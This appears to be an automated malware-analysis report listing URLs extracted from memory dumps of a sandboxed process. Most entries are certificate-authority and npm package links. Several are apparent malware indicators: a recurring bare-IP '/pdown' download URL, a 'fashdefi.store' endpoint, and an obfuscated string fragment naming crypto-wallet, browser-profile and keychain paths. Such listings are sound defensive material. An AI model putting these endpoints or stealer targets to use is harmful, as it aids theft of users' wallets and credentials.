"00000000-00006124.00000001.110668.0042C000.00000004.mdmp") Found URL "http://repository.swisssign.com/tw1" - Source: "00000000-00006124.00000001.110668.0042C000.00000004.mdmp") Found URL "http://www.accv.esll" - Source: "00000000-00006124.00000001.110668.00454000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.es0$http://www.accv.es/legislacion_c.htm0un0l0jdhttp://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crl0accv@accv.es11z+o+i=-----end" - Source: "00000000-00006124.00000001.110668.00454000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00006124.00000001.110668.00460000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\es1b0@9autoridad" - Source: "00000000-00006124.00000001.110668.008F4000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\el," - Source: "00000000-00006124.00000001.110668.008F4000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/0mf0d0/)http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crlfailed:" - Source: "00000000-00006124.00000001.110668.008F4000.00000004.mdmp") Found URL "https://chrome.google.com/webstoreh@@hgram" - Source: "00000000-00006124.00000001.110668.00A44000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crl0=0;0.0," - Source: "00000000-00006124.00000001.110668.00C90000.00000004.mdmp") Found URL "http://repository.swisssign.com/0=0;0.0," - Source: "00000000-00006124.00000001.110668.00C90000.00000004.mdmp") Found URL "http://repository.swisssign.com/affirmtrust1affirmtrust" - Source: "00000000-00006124.00000001.110668.00C90000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/fnmt-rcm1ac" - Source: "00000000-00006124.00000001.110668.00C90000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_ev_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20ev%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlist8http://crl.d-trust.net/crl/d-trust_br_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20br%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlist" - Source: "00000000-00006124.00000001.110668.00CEC000.00000004.mdmp") Found URL "http://unisolated.invalid/" - Source: "00000000-00006124.00000001.110668.00D30000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/gebze" - Source: "00000000-00006124.00000001.110668.00DBC000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crlbratislava1disig" - Source: "00000000-00006124.00000001.110668.00DEC000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl" - Source: "00000000-00006124.00000001.110668.00E1C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crlgo" - Source: "00000000-00006124.00000001.110668.00E1C000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0+0)" - Source: "00000000-00006124.00000001.110668.00E1C000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl" - Source: "00000000-00006124.00000001.110668.00E1C000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.esbratislava1disig" - Source: "00000000-00006124.00000001.110668.00E1C000.00000004.mdmp") Found URL "http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crllzmi)" - Source: "00000000-00006124.00000001.110668.00E1C000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/unitrust1uca" - Source: "00000000-00006124.00000001.110668.00E64000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\illinois1chicago1!0trustwave" - Source: "00000000-00006124.00000001.110668.00E94000.00000004.mdmp") Found URL "https://github.com/nodejs/node/issues/22066" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "http://fashdefi.store:6168/defy/v6gzip," - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "http://www.apache.org/licenses/license-2.0//" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/joyent/node-asn1.git" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/joyent/node-sshpk.git" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/arekinath/node-sshpk" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/mcavage/node-assert-plus.git" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/joyent/node-http-signature/" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/mhart)" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "http://www.futurealoof.com)" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/mikeal/aws-sign" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/isaacs/json-stringify-safe" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "http://blog.izs.me)" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/follow-redirects/follow-redirects" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://ruben.verborgh.org/)" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/sponsors/rubenverborgh" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/rob--w/proxy-from-env.git" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://robwu.nl/)" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/rob--w/proxy-from-env" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "http://ljharb.codes" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/sponsors/ljharb" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/inspect-js/has-tostringtag.git" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/inspect-js/has-tostringtag" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/es-shims/es-set-tostringtag.git" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/es-shims/es-set-tostringtag" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "http://144','kpcnlpebkl','pdqde','ysgel','era\x20softwa','wjwdx','sgdaj','\x5cp.zi','flned','qobcl','rename','ctntg','zvvxq','zdonr','wufef','afbcbjpbpf','xodus/exod','lzeot','pxnxl','ttqgt','kooxn','ngcnapndod','gtkjp','vofzb','cgnvz','jfjmt','pikoobohma','adlkmhmclh','snyot','868jzpick','xqrlj','fhbohimael','nyylt','/library/a','txt','sknny','trace','dus/exodus','xbhcp','ppgwx','/.config/s','zwjte','request','user\x20data','oadlu','fiexn','slqff','jioqv','browser','lggbd','/library/k','kmojf','xmuuh','url','rmsync','xnjbq','ecykq','syqsb','dwhll','opera','vsbws','on.exe\x22\x20\x22','round','jblndlipeo','vfeuf','ltrfv','wmtup','bind','klgdk','ntgoa','_uld','madui','prototype','zygph','dewpa','\x20support/','length','exception','formdata','6:1224','sxmof','sewhp','dsmbo','gpnkllbocc','local/brav','com.operas','ivawy','jgjfhomihk','hlkkp','zivwl','flnfe','get','upzbo','kwlbk','pekplomjjk','table','wbqnj','meevw','16089tsaszf','iijedngplf','ocal/micro','profile\x20','oaming/exo','rohzd','igwsg','werar','rfmzh','ciudd','byzxg','\x20support/b','ralry','/.npl','" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/chromiumwebapps/chromium/blob/b3d3b4da8bb94c1b2e061600df106d590fda3620/net/cookies/parsed_cookie.cc" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://ipinfo.io10249" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://lupomontero.com/)" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/sponsors/lupomontero" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/stash" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/salesforce/tough-cookie" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "http://www.justmoon.net)" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/justmoon/node-extend.git" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "https://github.com/request/request.git" - Source: "00000000-00006124.00000001.110668.01080000.00000004.mdmp") Found URL "http://144.172.95.226:1224/pdown" - Source: "00000000-00006124.00000001.110668.01460000.00000004.mdmp") Found URL "http://www.msftc:\s0:\a" - Source: "00000000-00006124.00000001.110668.6A110000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006124.00000001.110668.6A110000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006124.00000001.110668.6A110000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006124.00000001.110668.6A110000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006124.00000001.110668.6A110000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czclv]kmwzhrt[i,y+vywc:?r<0" - Source: "00000000-00006124.00000001.110668.6A110000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc5u" - Source: "00000000-00006124.00000001.110668.6A110000.00000004.mdmp") Found URL "http://144.172.95.226:1224/pdown" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl049z00005internet1verisign," - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauth" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+voglobalsign" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symandecd@" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "http://s1.symcb.d>cp-g5.crl0" - Source: "00000000-00006124.00000001.110668.B2E80000.00000004.mdmp") Found URL "https://chromewebstore.google.com/threadpool.unnecessarywakeup.browser.foregroundstorage.mojom.quotaclientmessageheadervalidatorheadervalidatorpf6o400])org.chromium.memory_instrumentation" - Source: "00000000-00006124.00000002.112590.0000C000.00000004.mdmp") Found URL "https://clients2.google.com/service/update2/crxgeheatoramazon1amazon" - Source: "00000000-00006124.00000002.112590.0000C000.00000004.mdmp") Found URL "http://json-schema.org/draft-06/schema" - Source: "00000000-00006124.00000002.112590.0003C000.00000004.mdmp") Found URL "http://144.172.95.226:1224/pdown" - Source: "00000000-00006124.00000002.112590.00040000.00000004.mdmp") Found URL "http://144.172.95.226:1224/pdown" - Source: "00000000-00006124.00000002.112590.000C4000.00000004.mdmp") Found URL "http://144.172.95.226:1224/pdown" - Source: "00000000-00006124.00000002.112590.000F4000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cpsg@pm0csp" - Source: "00000000-00006124.00000002.112590.00100000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00006124.00000002.112590.00100000.00000004.mdmp") Found URL "http://www.accv.es-preferences=waaaaaaaaadgaaamaaaaaaaaaaaaaaaaaabgaaaaaaa4aaaaaaaaaaaaaaaeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagaaaaaaaaaayaaaaaaaaaagaaaaaaaaacaaaaaaaaaaiaaaaaaaaaa==nthnames/stand-alone/abbreviatedperiod/stand-alone/abbreviatedde-smin-magnative" - Source: "00000000-00006124.00000002.112590.0011C000.00000004.mdmp") Found URL "http://www.accv.es/legislacion_c.htmindom32\sers\hapubws\appdata\local\pon\p" - Source: "00000000-00006124.00000002.112590.0011C000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_br_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20br%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlistd-trust" - Source: "00000000-00006124.00000002.112590.00128000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_ev_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20ev%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlistulesinternal/fs/promisesnode:fs/promisesaexportsrequiremoduleprocessinternalbindingprimordialsd]deesdules*chrome/120.0.6099.291" - Source: "00000000-00006124.00000002.112590.00128000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v18.18.2/win-x64/node.libcommonprogramfiles=c:\program" - Source: "00000000-00006124.00000002.112590.00254000.00000004.mdmp") Found URL "http://www.iec.chiec" - Source: "00000000-00006124.00000002.112590.002A8000.00000004.mdmp") Found URL "http://www.iec.chdesc.iec" - Source: "00000000-00006124.00000002.112590.002A8000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0us1" - Source: "00000000-00006124.00000002.112590.00310000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl0" - Source: "00000000-00006124.00000002.112590.00310000.00000004.mdmp") Found URL "http://repository.swisssign.com/swisssign" - Source: "00000000-00006124.00000002.112590.0042C000.00000004.mdmp") Found URL "http://repository.swisssign.com/tw1" - Source: "00000000-00006124.00000002.112590.0042C000.00000004.mdmp") Found URL "http://www.accv.esll" - Source: "00000000-00006124.00000002.112590.00454000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.es0$http://www.accv.es/legislacion_c.htm0un0l0jdhttp://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crl0accv@accv.es11z+o+i=-----end" - Source: "00000000-00006124.00000002.112590.00454000.00000004.mdmp") Found URL "http://www.quovadisglobal.com/cps0g0e1quovadis" - Source: "00000000-00006124.00000002.112590.00460000.00000004.mdmp") Found URL "https://github.com/derivderiv" - Source: "00000000-00006124.00000002.112590.005C0000.00000004.mdmp") Found URL "https://github.com/tj/consolidate.js)" - Source: "00000000-00006124.00000002.112590.005C0000.00000004.mdmp") Found URL "https://github.com/joyent/node/pull/7878" - Source: "00000000-00006124.00000002.112590.005C0000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\es1b0@9autoridad" - Source: "00000000-00006124.00000002.112590.008F4000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\el," - Source: "00000000-00006124.00000002.112590.008F4000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/0mf0d0/)http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crlfailed:" - Source: "00000000-00006124.00000002.112590.008F4000.00000004.mdmp") Found URL "https://chrome.google.com/webstoregram" - Source: "00000000-00006124.00000002.112590.00A44000.00000004.mdmp") Found URL "http://144.172.95.226:1224/pdown" - Source: "00000000-00006124.00000002.112590.00C30000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crl0=0;0.0," - Source: "00000000-00006124.00000002.112590.00C90000.00000004.mdmp") Found URL "http://repository.swisssign.com/0=0;0.0," - Source: "00000000-00006124.00000002.112590.00C90000.00000004.mdmp") Found URL "http://repository.swisssign.com/affirmtrust1affirmtrust" - Source: "00000000-00006124.00000002.112590.00C90000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/fnmt-rcm1ac" - Source: "00000000-00006124.00000002.112590.00C90000.00000004.mdmp") Found URL "http://crl.d-trust.net/crl/d-trust_ev_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20ev%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlist8http://crl.d-trust.net/crl/d-trust_br_root_ca_1_2020.crl0ysldap://directory.d-trust.net/cn=d-trust%20br%20root%20ca%201%202020,o=d-trust%20gmbh,c=de?certificaterevocationlist" - Source: "00000000-00006124.00000002.112590.00CEC000.00000004.mdmp") Found URL "http://unisolated.invalid/" - Source: "00000000-00006124.00000002.112590.00D30000.00000004.mdmp") Found URL "http://www.cert.fnmt.es/dpcs/gebze" - Source: "00000000-00006124.00000002.112590.00DBC000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1_der.crlbratislava1disig" - Source: "00000000-00006124.00000002.112590.00DEC000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crlwww.xrampsecurity.com1$0" - Source: "00000000-00006124.00000002.112590.00E0C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crl0us1%0" - Source: "00000000-00006124.00000002.112590.00E0C000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodocertificationauthority.crlbudapest1netlock" - Source: "00000000-00006124.00000002.112590.00E0C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crld-trust" - Source: "00000000-00006124.00000002.112590.00E0C000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00006124.00000002.112590.00E0C000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl" - Source: "00000000-00006124.00000002.112590.00E1C000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crlgo" - Source: "00000000-00006124.00000002.112590.00E1C000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0+0)" - Source: "00000000-00006124.00000002.112590.00E1C000.00000004.mdmp") Found URL "http://crl.securetrust.com/sgca.crl" - Source: "00000000-00006124.00000002.112590.00E1C000.00000004.mdmp") Found URL "http://www.accv.es/fileadmin/archivos/certificados/raizaccv1.crt0http://ocsp.accv.esbratislava1disig" - Source: "00000000-00006124.00000002.112590.00E1C000.00000004.mdmp") Found URL "http://crl.certigna.fr/certignarootca.crl01+http://crl.dhimyotis.com/certignarootca.crllzmi)" - Source: "00000000-00006124.00000002.112590.00E1C000.00000004.mdmp") Found URL "https://wwww.certigna.fr/autorites/unitrust1uca" - Source: "00000000-00006124.00000002.112590.00E64000.00000004.mdmp") Found URL "http://www.firmaprofesional.com/cps0\illinois1chicago1!0trustwave" - Source: "00000000-00006124.00000002.112590.00E94000.00000004.mdmp") Found URL "https://github.com/felixge/node-form-data/issues/38" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/joyent/node/issues/7819" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "http://github.com/mikeal/request" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/form-data/form-data/issues/40" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/form-data/form-data/issues/196//" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/form-data/form-data/issues/262formdata.prototype.hasknownlength" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/alexindigo/asynckit.git" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/alexindigo/asynckit" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "http://debuggable.com/)" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/felixge/node-delayed-stream" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/felixge/node-combined-stream" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/axios/axios.git" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://axios-http.com" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/chalker" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/chalker/safer-buffer.git" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/ashtuchkin/iconv-lite" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "http://tjholowaychuk.com)" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "http://https://path" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "http://144kpcnlpebklpdqdeysgelera" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/digitalbrainjs/axiospromise/blob/16deab13710ec09779922131f3fa5954320f83ab/lib/utils.js" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "http://www.google.com)" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "http://localhost';const" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://nodejs.org/api/http.html" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/axios/axios/issues/69" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://www.npmjs.com/package/form-data" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/cloudflare/workerd/issues/902" - Source: "00000000-00006124.00000002.112590.00F00000.00000004.mdmp") Found URL "https://github.com/nodejs/node/issues/22066" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "http://fashdefi.store:6168/defy/v6gzip," - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "http://www.apache.org/licenses/license-2.0//" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/joyent/node-asn1.git" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/joyent/node-sshpk.git" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/arekinath/node-sshpk" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/mcavage/node-assert-plus.git" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/joyent/node-http-signature/" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/mhart)" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "http://www.futurealoof.com)" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/mikeal/aws-sign" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/isaacs/json-stringify-safe" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "http://blog.izs.me)" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/follow-redirects/follow-redirects" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://ruben.verborgh.org/)" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/sponsors/rubenverborgh" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/rob--w/proxy-from-env.git" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://robwu.nl/)" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/rob--w/proxy-from-env" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "http://ljharb.codes" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/sponsors/ljharb" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/inspect-js/has-tostringtag.git" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/inspect-js/has-tostringtag" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/es-shims/es-set-tostringtag.git" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL "https://github.com/es-shims/es-set-tostringtag" - Source: "00000000-00006124.00000002.112590.01080000.00000004.mdmp") Found URL 